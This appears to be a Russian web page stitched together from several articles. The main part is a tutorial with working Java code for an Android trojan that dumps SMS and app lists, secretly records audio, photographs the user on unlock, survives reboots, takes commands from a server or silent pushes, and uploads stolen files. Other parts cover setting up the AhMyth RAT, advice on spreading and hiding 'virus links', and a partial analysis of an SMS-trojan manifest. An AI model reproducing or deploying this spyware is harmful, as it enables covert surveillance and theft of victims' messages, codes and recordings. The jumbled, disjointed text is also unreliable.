Получить список установленных приложений еще проще:
void dumpSMS(Context context) {
String appsFile = context.getApplicationInfo().dataDir + «/apps»
final PackageManager pm = context.getPackageManager();
List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
try {
PrintWriter pw = Files.writeLines(appsFile);
for (ApplicationInfo packageInfo : packages) {
if (!isSystemPackage(packageInfo))
pw.println(pm.getApplicationLabel(packageInfo) + «: » + packageInfo.packageName);
}
pw.close();
} catch (IOException e) {}
}
private boolean isSystemPackage(ApplicationInfo applicationInfo) {
return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
}
Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.
Дамп СМС
Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:
void dumpSMS(Context context, String file, String box) {
SimpleDateFormat formatter = new SimpleDateFormat(«yyyy.MM.dd HH:mm:ss», Locale.US);
Cursor cursor = context.getContentResolver().query(Uri.parse(«content://sms/» + box), null, null, null, null);
try {
PrintWriter pw = Files.writeLines(file);
if (cursor != null && cursor.moveToFirst()) {
do {
String address = null;
String date = null;
String body = null;
for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
switch (cursor.getColumnName(idx)) {
case «address»:
address = cursor.getString(idx);
break;
case «date»:
date = cursor.getString(idx);
break;
case «body»:
body = cursor.getString(idx);
}
}
if (box.equals(«inbox»)) {
pw.println(«From: » + address);
} else {
pw.println(«To: » + address);
}
String dateString = formatter.format(new Date(Long.valueOf(date)));
pw.println(«Date: » + dateString);
if (body != null) {
pw.println(«Body: » + body.replace(‘n’, ‘ ‘));
} else {
pw.println(«Body: «);
}
pw.println();
} while (cursor.moveToNext());
}
pw.close();
cursor.close();
} catch (Exception e) {}
}
Использовать его следует так:
- Сохраняем список всех полученных СМС
String inboxFile = context.getApplicationInfo().dataDir + «/sms_inbox»
dumpSMS(context, inboxFile, «inbox»);
- Сохраняем список отправленных СМС
String sentFile = context.getApplicationInfo().dataDir + «/sms_sent»;
dumpSMS(context, sentFile, «sent»);
Записи в файле будут выглядеть примерно так:
From: Google
Date: 2018.07.08 06:49:55
Body: [email protected] is your Google verification code.
Скрытая запись аудио
Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:
void recordAudio(String file, final int time) {
MediaRecorder recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile(file);
try {
recorder.prepare();
} catch (IOException e) {}
recorder.start();
Thread timer = new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(time * 1000);
} catch (InterruptedException e) {
Log.d(TAG, «timer interrupted»);
} finally {
recorder.stop();
recorder.release();
}
}
});
timer.start();
}
Использовать его можно, например, так:
DateFormat formatter = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss», Locale.US);
Date date = new Date();
String filePrefix = context.getApplicationInfo().dataDir + «/audio-«;
recordAudio(filePrefix + formatter.format(date) + «.mp4», 15);
Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.mp4.
Скрытая съемка
С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.
Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):
public class SilentCamera2 {
private Context context;
private CameraDevice device;
private ImageReader imageReader;
private CameraCaptureSession session;
private SurfaceTexture surfaceTexture;
private CameraCharacteristics characteristics;
private Surface previewSurface;
private CaptureRequest.Builder request;
private Handler handler;
private String photosDir;
public SilentCamera2(Context context) {
this.context = context;
}
private final CameraDevice.StateCallback mStateCallback =
new CameraDevice.StateCallback() {
@Override
public void onOpened(CameraDevice cameraDevice) {
device = cameraDevice;
try {
surfaceTexture = new SurfaceTexture(10);
previewSurface = new Surface(surfaceTexture);
List<Surface> surfaceList = new ArrayList<>();
surfaceList.add(previewSurface);
surfaceList.add(imageReader.getSurface());
cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);
} catch (Exception e) {
}
}
@Override
public void onDisconnected(CameraDevice cameraDevice) {
}
@Override
public void onError(CameraDevice cameraDevice, int error) {
}
};
private CameraCaptureSession.StateCallback mCaptureStateCallback =
new CameraCaptureSession.StateCallback() {
@Override
public void onConfigured(CameraCaptureSession captureSession) {
session = captureSession;
try {
request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
request.addTarget(previewSurface);
request.set(CaptureRequest.CONTROL_AF_TRIGGER,
CameraMetadata.CONTROL_AF_TRIGGER_START);
captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);
} catch (Exception e) {
}
}
@Override
public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}
};
private CameraCaptureSession.CaptureCallback mCaptureCallback =
new CameraCaptureSession.CaptureCallback() {
@Override
public void onCaptureCompleted(CameraCaptureSession session,
CaptureRequest request,
TotalCaptureResult result) {
}
};
private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =
new ImageReader.OnImageAvailableListener() {
@Override
public void onImageAvailable(ImageReader reader) {
DateFormat dateFormat = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss»);
Date date = new Date();
String filename = photosDir + «/» + dateFormat.format(date) + «.jpg»;
File file = new File(filename);
Image image = imageReader.acquireLatestImage();
try {
ByteBuffer buffer = image.getPlanes()[0].getBuffer();
byte[] bytes = new byte[buffer.remaining()];
buffer.get(bytes);
OutputStream os = new FileOutputStream(file);
os.write(bytes);
image.close();
os.close();
} catch (Exception e) {
e.getStackTrace();
}
closeCamera();
}
};
private void takePicture() {
request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());
request.addTarget(imageReader.getSurface());
try {
session.capture(request.build(), mCaptureCallback, handler);
} catch (CameraAccessException e) {
}
}
private void closeCamera() {
try {
if (null != session) {
session.abortCaptures();
session.close();
session = null;
}
if (null != device) {
device.close();
device = null;
}
if (null != imageReader) {
imageReader.close();
imageReader = null;
}
if (null != surfaceTexture) {
surfaceTexture.release();
}
} catch (Exception e) {
}
}
public boolean takeSilentPhoto(String cam, String dir) {
photosDir = dir;
int facing;
switch (cam) {
case «front»:
facing = CameraCharacteristics.LENS_FACING_FRONT;
break;
case «back»:
facing = CameraCharacteristics.LENS_FACING_BACK;
break;
default:
return false;
}
CameraManager manager = (CameraManager)
context.getSystemService(Context.CAMERA_SERVICE);
String cameraId = null;
characteristics = null;
try {
for (String id : manager.getCameraIdList()) {
characteristics = manager.getCameraCharacteristics(id);
Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);
if (currentFacing != null && currentFacing == facing) {
cameraId = id;
break;
}
}
} catch (Exception e) {
return false;
}
HandlerThread handlerThread = new HandlerThread(«CameraBackground»);
handlerThread.start();
handler = new Handler(handlerThread.getLooper());
imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);
imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);
try {
manager.openCamera(cameraId, mStateCallback, handler);
- Ждем фокусировку
Thread.sleep(1000);
takePicture();
} catch (Exception e) {
Log.d(TAG, «Can’t open camera: » + e.toString());
return false;
}
return true;
}
private int getOrientation() {
WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
int rotation = wm.getDefaultDisplay().getRotation();
int deviceOrientation = 0;
switch(rotation){
case Surface.ROTATION_0:
deviceOrientation = 0;
break;
case Surface.ROTATION_90:
deviceOrientation = 90;
break;
case Surface.ROTATION_180:
deviceOrientation = 180;
break;
case Surface.ROTATION_270:
deviceOrientation = 270;
break;
}
int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);
deviceOrientation = (deviceOrientation + 45) / 90 * 90;
boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;
if (facingFront) deviceOrientation = -deviceOrientation;
return (sensorOrientation + deviceOrientation + 360) % 360;
}
}
Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.
String cameraDir = context.getApplicationInfo().dataDir + «/camera/»
camera.takeSilentPhoto(«front», cameraDir);
Складываем все вместе
С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.
Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.
Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.
Задания по расписанию
Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:
public class Alarm extends BroadcastReceiver {
public static void set(Context context) {
AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
Intent intent = new Intent(context, Alarm.class);
PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);
am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);
}
@Override
public void onReceive(Context context, Intent intent) {
- Твой код здесь
}
}
Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.
В метод «onCreate()» сервиса добавьте следующую строку:
Alarm.set(this)
Снимок при включении экрана
Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:
class ScreenOnReceiver extends BroadcastReceiver() {
@Override
void onReceive(Context context, Intent intent) {
- Ваш код здесь
}
}
И добавьте в манифест следующие строки:
<receiver android:name=»com.example.app.ScreenOnReceiver»>
<intent-filter>
<action android:name=»android.intent.action.ACTION_SCREEN_ON» />
</intent-filter>
</receiver>
Запуск при загрузке
В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:
class BootReceiver extends BroadcastReceiver() {
@Override
void onReceive(Context context, Intent intent) {
Intent serviceIntent = new Intent(this, MainService.class);
startService(serviceIntent);
}
}
И опять же добавим его в манифест:
<receiver android:name=»com.example.BootReceiver»>
<intent-filter>
<action android:name=»android.intent.action.BOOT_COMPLETED» />
</intent-filter>
</receiver>
Запись аудио по команде
С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.
В коде это может выглядеть примерно так:
String url = «//example.com/cmd»
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
while (true) {
Response response = client.newCall(request).execute();
String cmd = response.body().string();
cmd = cmd.trim()
if (cmd.equals(«record»)) {
- Делаем аудиозапись
}
try {
Thread.sleep(60 * 1000);
} catch (InterruptedException e) {}
}
Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.
Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.
Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:
class App extends Application {
@Override
public void onCreate() {
super.onCreate()
OneSignal.startInit(this).init()
}
}
Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:
class OSService extends NotificationExtenderService {
@Override
protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {
String cmd = receivedResult.payload.body.trim()
if (cmd.equals(«record»)) {
- Делаем аудиозапись
}
- Не показывать уведомление
return true
}
}
Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.
Последний штрих — добавим сервис в манифест:
<service
android:name=»org.antrack.app.service.OSService»
android:exported=»false»>
<intent-filter>
<action android:name=»com.onesignal.NotificationExtender» />
</intent-filter>
</service>
Отправка данных на сервер
На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:
private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse(«image/jpeg»);
public void uploadImage(File image, String imageName) throws IOException {
OkHttpClient client = new OkHttpClient();
RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)
.addFormDataPart(«file», imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))
.build();
Request request = new Request.Builder().url(«//com.example.com/upload»)
.post(requestBody).build();
Response response = client.newCall(request).execute();
}
Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.
Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.
Выводы
Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.
На этом все. Теперь вы знаете как хакеры создают трояны для Андроид.
Если Вам понравилась статья — поделитесь с друзьями
776 просмотров
Отказ от ответственности: Автор или издатель не публиковали эту статью для вредоносных целей. Вся размещенная информация была взята из открытых источников и представлена исключительно в ознакомительных целях а также не несет призыва к действию. Создано лишь в образовательных и развлекательных целях. Вся информация направлена на то, чтобы уберечь читателей от противозаконных действий. Все причиненные возможные убытки посетитель берет на себя. Автор проделывает все действия лишь на собственном оборудовании и в собственной сети. Не повторяйте ничего из прочитанного в реальной жизни. | Так же, если вы являетесь правообладателем размещенного на страницах портала материала, просьба написать нам через контактную форму жалобу на удаление определенной страницы, а также ознакомиться с инструкцией для правообладателей материалов. Спасибо за понимание.
Если вам понравились материалы сайта, вы можете поддержать проект финансово, переведя некоторую сумму с банковской карты, счёта мобильного телефона или из кошелька ЮMoney.
Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.
Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.
Еще по теме: Как вирусы попадают в Google Play Market
Определение вируса
История компьютерных вирусов берет свое начало в 1983 году, когда Фред Коэн использовал его впервые.
Вирус — это вредоносный код, он направлен на захват управления вашими файлами, настройками. Создает копии самого себя, всячески захламляет персональный компьютер пользователя. Некоторые можно обнаружить сразу, когда другие скрываются в системе и паразитируют в ней. Часто их передача происходит с помощью сайтов, где размещен пиратский контент, порно-сайтов и других. Бывает, скачивание вирусов происходит при желании скачать мод или чит. Довольно просто распространить вирус, если у вас готова вирусная ссылка.
Установка AhMyth RAT
Серверная часть устанавливается очень просто, тем более автор выложил в свободный доступ бинарники программы. Но при желании можно скомпилировать ее из исходников. Лично я проводил свои тесты на машине под управлением Windows 10.
Для работы утилиты нам необходима виртуальная машина Java. Устанавливаем ее с официального сайта Java. Затем нужно скачать бинарники самой AhMyth. Их ты можешь найти в официальном репозитории проекта на GitHub, вкладка Assets. При скачивании лучше отключить антивирус, чтобы его не хватил удар от происходящего.
Методы воздействия вредоносных программ
К компьютерным вирусам относится множество вредоносных программ, однако не все они способны к «размножению»:
- Черви. Заражают файлы на компьютере, это могут быть любые файлы, начиная от .exe и заканчивая загрузочными секторами. Передаются через чаты, программы для общения типа Skype, icq, через электронную почту.
- Троянские кони, или трояны. Лишены самостоятельной способности распространяться: они попадают на компьютер жертвы благодаря их авторам и третьим лицам.
- Руткит. Сборка различных программных утилит при проникновении на компьютер жертвы получает права суперпользователя, речь про UNIX-системы. Представляет собой многофункциональное средство для «заметания следов» при вторжении в систему с помощью снифферов, сканеров, кейлоггеров, троянских приложений. Способны заразить устройство на операционной системе Microsoft Windows. Захватывают таблицы вызовов и их функций, методы использования драйверов.
- Вымогатели. Такие вредоносные программы препятствуют входу пользователя на устройство путем принуждения к выкупу. Последние крупные события, связанные с программами-вымогателями, — WannaCry, Petya, Cerber, Cryptoblocker и Locky. Все они требовали за возвращение доступа в систему криптовалюту биткоин.
- Кейлоггер. Следит за вводом логинов и паролей на клавиатуре. Фиксирует все нажатия, а затем отсылает журнал действий на удаленный сервер, после чего злоумышленник использует эти данные на свое усмотрение.
- Снифферы. Анализирует данные с сетевой карты, записывает логи с помощью прослушивания, подключения сниффера при разрыве канала, ответвления сниффером копии трафика, а также через анализ побочных электромагнитных излучений, атак на канальном или сетевом уровне.
- Ботнет, или зомби-сети. Такая сеть представляет собой множество компьютеров, образующих одну сеть и зараженных вредоносной программой для получения доступа хакеру или иному злоумышленнику.
- Эксплойты. Этот вид вредоносного программного обеспечения может быть полезным для пиратов, ведь эксплойты вызываются ошибками в процессе разработки программного обеспечения. Так злоумышленник получает доступ к программе, а дальше и к системе пользователя, если так задумал хакер. У них есть отдельная классификация по уязвимостям: нулевой день, DoS, спуфинг или XXS.
Создаем зараженный APK
Чтобы создать файл APK для Android, открой вкладку APK Builder. Внешний вид конструктора вредоносных мобильных приложений показан на следующей иллюстрации.
Пользоваться этим инструментом очень просто. В окне Source IP мы прописываем IP-адрес атакующей машины (этот адрес потом легко вычисляется при исследовании вредоноса). В поле Source Port ты можешь указать порт, который будет зарезервирован машиной для прослушивания подключений. По умолчанию используется порт 42 474.
Пути распространения
Вредоносный контент может попасть на устройство разными способами:
- Вирусная ссылка.
- Доступ к серверу или локальной сети, по которой будет проходить распространение вредоносного приложения.
- Выполнение программы, зараженной вирусом.
- Работа с приложениями пакета Microsoft Office, когда с помощью макровирусов документов вирус распространяется по всему персональному компьютеру пользователя.
- Просмотр вложений, пришедших с сообщениями электронной почты, а они оказались с инфицированными программами и документами.
- Запуск операционной системы с зараженного системного диска.
- Установка на компьютер заранее зараженной операционной системы.
Как вирус попадает в телефон
Еще в сентябре 2022 года были зафиксированы первые пугающие цифры. ”Джокер” был обнаружен в 24 приложениях для Android. Вместе эти приложения скачали более 500 000 раз. Только после этого угроза была обнаружена, а приложения удалили из магазина. На данный момент вредоносная программа затронула людей более чем в 30 странах по всему миру.
В июне 2022 года вирус был обнаружен в 8 новых приложениях. На данный момент они все удалены из Google Play, но многие пользователи успели их скачать. Среди них были в основном приложения для сканирования, установки обоев и сообщений.
Google урежет возможности файловых менеджеров и антивирусов на Android.
Вскоре после предыдущего инцидента в августе 2022 года ”Джокер” опять проявил себя. На этот раз вредонос был обнаружен в 16 приложениях, доступных в Google Play. При этом субъектами распространения опять оказались приложения для сканирования PDF, приложения для SMS и приложения для обмена сообщениями в целом. Правда, в этот раз у нас нет статистики, сколько пользователей успели пострадать от этого.
Где могут прятаться вирусы
Когда вирусная ссылка сделана, а вы запустили программу, которая начинает скрытую работу на персональном компьютере, то некоторые вирусы и другие вредоносные программы способны на сокрытие своих данных в системе или в исполняемых файлах, расширение которых может быть следующего типа:
- .com, .exe — вы скачали какую-то программу, а там оказался вирус;
- .bat — командные файлы, содержащие определенные алгоритмы для операционной системы;
- .vbs — файлы программы на языке Visual Basic for Application;
- .scr — файлы программ скринсейверов, которые крадут данные с экрана устройства;
- .sys — файлы драйверов;
- .dll, .lib, .obj — файлы библиотек;
- .doc — документ Microsoft Word;
- .xls — документ Microsoft Excel;
- .mdb — документ Microsoft Access;
- .ppt — документ Power Point;
- .dot — шаблон приложений пакетам Microsoft Office.
Признаки
Любое заболевание или заражение протекает в скрытой фазе или в открытой, этот принцип присущ и вредоносному программному обеспечению:
- Устройство начало работать со сбоями, программы, которые работали раньше хорошо, вдруг стали тормозить или вылетать.
- Медленная работа устройства.
- Проблема с запуском операционной системы.
- Исчезновение файлов и каталогов или изменение их содержимого.
- Содержимое файла подвергается изменению.
- Изменение времени модификации файлов. Можно заметить, если в папке используется вид «список», или вы посмотрите на свойство элемента.
- Увеличение или уменьшение количества файлов на диске, и впоследствии увеличение или уменьшение объема доступной памяти.
- Оперативной памяти становится меньше из-за работы посторонних сервисов и программ.
- Показ шокирующих или иных изображений на экране без вмешательства пользователя.
- Странные звуковые сигналы.
Методы защиты
Самое время подумать о способах защиты от вторжения:
- Программные методы. К ним относятся антивирусы, файрволлы и другое защитное ПО.
- Аппаратные методы. Защита от постороннего вмешательства к портам или файлам устройства, непосредственно при доступе к «железу».
- Организационные методы защиты. Это дополнительные меры для сотрудников и иных лиц, которые могут иметь доступ к системе.
Как найти список вирусных ссылок? Благодаря Интернету можно скачать сервисы, например, от Dr.Web. Или воспользоваться специальным сервисом для показа всех возможных вредных ссылок. Там есть список на вирусные ссылки. Остается выбрать наиболее подходящий вариант.
Вирусная ссылка
Не забывайте, что использование вирусных программ преследуется по закону!
Приступаем к самому главному действию — к созданию вирусных ссылок и выяснению способов их распространения.
- Выбираем операционную систему для атаки. Чаще это — Microsoft Windows, так как она распространена больше, чем остальные системы, особенно если речь зашла о старых версиях. К тому же многие пользователи не обновляют операционные системы, оставляя их уязвимыми к атакам.
- Выбираем способ распространения. Как создать вирусную ссылку, которая не будет распространяться? Никак. Для этого можно запаковать ее в исполняющий файл, макрос в Microsoft Office, веб-скрипт.
- Узнать слабое место для атаки. Совет: если пользователь скачивает пиратский софт, обычно он выключает антивирус или не обращает на это внимания из-за наличия таблетки в репаке, так что это еще один способ для проникновения.
- Определяем функционал вашего вируса. Вы можете просто проверить антивирус на способность обнаружить ваш вирус, или же использовать вредоносную программу в более масштабных целях типа удаления файлов, просмотра сообщений и других действий.
- Для того чтобы что-то написать, придется выбрать язык. Язык можно использовать любой, а то и несколько, но в большей мере используется язык C и C++, для макровирусов есть Microsoft Office. Разобраться можно с помощью уроков в Интернете. Visual Basic — это среда разработки.
- Время для создания. На это может уйти много времени. Не забудьте о способах сокрытия вируса от антивирусных программ, иначе вашу программу быстро найдут и обезвредят. Не факт, что вы кому-то сильно навредите, так что спите спокойно. Однако помните, что за любой зловредный софт нужно нести ответственность! Узнайте больше о полиморфном коде.
- Посмотрите методы сокрытия кода.
- Проверьте вирус на работоспособность в виртуальной машине.
- Загрузите его в сеть и ждите первых «клиентов».
Вирусная ссылка для телефона создается примерно так же, но с устройствами на iOS придется помучиться, так как там хорошая система защиты, в отличие от «Андроида». Однако в последних версиях удалось поправить многие дыры в системе защиты. Не забывайте, что есть еще старые устройства, а зная «любовь» к созданию новых версий у сторонних разработчиков, большая часть андроид-устройств подвержена опасности.
Опасно ли скачивать приложения из Google Play
Как мы видим на примере ”Джокера”, скачивать приложения из Google Play иногда действительно опасно. При этом вирусы в первую очередь стремятся именно в магазин приложений. Так их может скачать существенно больше пользователей, чем через APK. А заодно эти пользователи будут менее опытными и не заметят, что у них что-то не так.
Присоединяйтесь к нам в Telegram!
В любом случае вирусы попадают в магазин из-за недостаточности мер безопасности. Цензоры Google просто проверяют приложения слишком формально. Поэтому убедитесь, что устанавливаете только те приложения, которым вы доверяете, особенно, если вы устанавливаете их вручную из стороннего источника.
( 2 оценки, среднее 4.5 из 5 )
*Оригинальная картинка, наглым образом вытащеная из ресурсов apk
[прим. apk — расширение файла установки приложения на ОС андроид]
Вступление
Нежданно-негаданно, посреди рабочего дня на мой старенький Sony Ericsson K320i приходит смс следующего содержания:
привет [смайлик] тебе фото https:// m**o*an.ru/oujr/380688086*6*
В качестве отправителя значился человек, с которым я уже некоторое время не общаюсь. Посмотрев тест сообщения и отмахнувшись от телефона со словами «Очередной спам», я дальше погрузился в работу.
Все бы ничего, но через пару минут пришло аналогичное сообщение на второй телефон (Samsung Galaxy Gio). Номер отправителя совпадал.
Через 2 часа позвонил друг и попросил дать ему совет. Ему пришло похожее смс от его начальника. Успокоив его фразой: «По ссылке не переходи и будет тебе счастье», я решил, что нужно разобраться в ситуации.
Договоренности
1) Технически правильно называть данный «зловред» не вирусом, а трояном. Автор умышленно пошел на данное ухищрение для упрощения. Заранее прошу прощения за это.
2) Автор в данной статье постарался поставить себя на место обычного пользователя, испытать и пережить все то, что испытавает он. Поэтому специализированные технические средства не применяются, а методы борьбы выбраны примитивные.
1. Подготовка
Поверхностно поискав в интернете информацию, было установлено, что ссылка в смс сообщении является ничем иным, как адресом на загрузку apk файла. А apk файл — вирусом «Trojan.SMSSend», заражающий мобильные устройства под управлением ОС Android. Главные задачи данного «зловреда» — перехватывать управление устройством и использовать его в своих целях: блокировка исходящих вызовов, отправка сообщений «с приветом» и другие мелкие пакости.
Перейдя по ссылке из браузера я благополучно получил ответ «403 Forbidden».
Понятно, значит, стоит фильтр по браузеру. Что ж, буду проверять «на кошках», как говорится.
Недолго думая, решил «положить на алтарь науки» свой планшет Samsung Galaxy Tab 2. Сделав бэкап, со спокойной совестью нажал на кнопку «Общий сброс». На всякий случай убедился, что на sim-карте нет денег и приступил к установке.
2. Установка
Захожу в настройки, в пункте меню «Неизвестные устройства», убираю галочку «Разрешить установку приложений из других источников, кроме Play Маркет».
Перейдя по ссылке из смс-сообщения, получил предупреждение браузера, следующего характера:
Соглашаюсь и нажимаю кнопку «Продолжить». Скачалось приложение F0T0_ALB0M.apk:
Устанавливаю. Ужасаюсь количеством permission (разрешений). Операционная система любезно предупреждает:
Это приложение может нанести вред устройству
Но я же не ищу легких путей, поэтому, «скрепя сердце», ставлю галочку «Я понимаю, что это приложение может нанести вред».
Когда приложение запрашивает права администратора, понимаю, что это последний этап. Нажимаю «Отмена», но диалог появляется снова. Эх, была не была, буду идти до конца, и нажимаю «Включить».
3. Вирус-приложение
Само приложение состоит из одной активити-картинки с обреченным котенком. Наверное таким образом разработчик пытался пошутить.
В этом месте, я немного забегу вперед (см. п.6) и приведу, код AndroidManifest.xml для лучшего понимания статьи.
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="4" android:versionName="4.0" android:installLocation="internalOnly" package="com.android.systgec"
xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.CALL_PRIVILEGED" />
<uses-permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android:name="android.permission.MODIFY_PHONE_STATE" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.GET_TASKS" />
<application android:label="@string/app_name" android:icon="@drawable/icon" android:manageSpaceActivity=".ClearActivity" android:allowClearUserData="false" android:allowBackup="true">
<activity android:label="@string/app_name" android:name=".AppActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name=".ClearActivity" />
<receiver android:name=".SmsReceiver">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<receiver android:name=".OnBootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
<action android:name="android.intent.action.USER_PRESENT" />
</intent-filter>
</receiver>
<receiver android:name=".IncomingCallReceiver">
<intent-filter android:priority="1000">
<action android:name="android.intent.action.PHONE_STATE" />
</intent-filter>
</receiver>
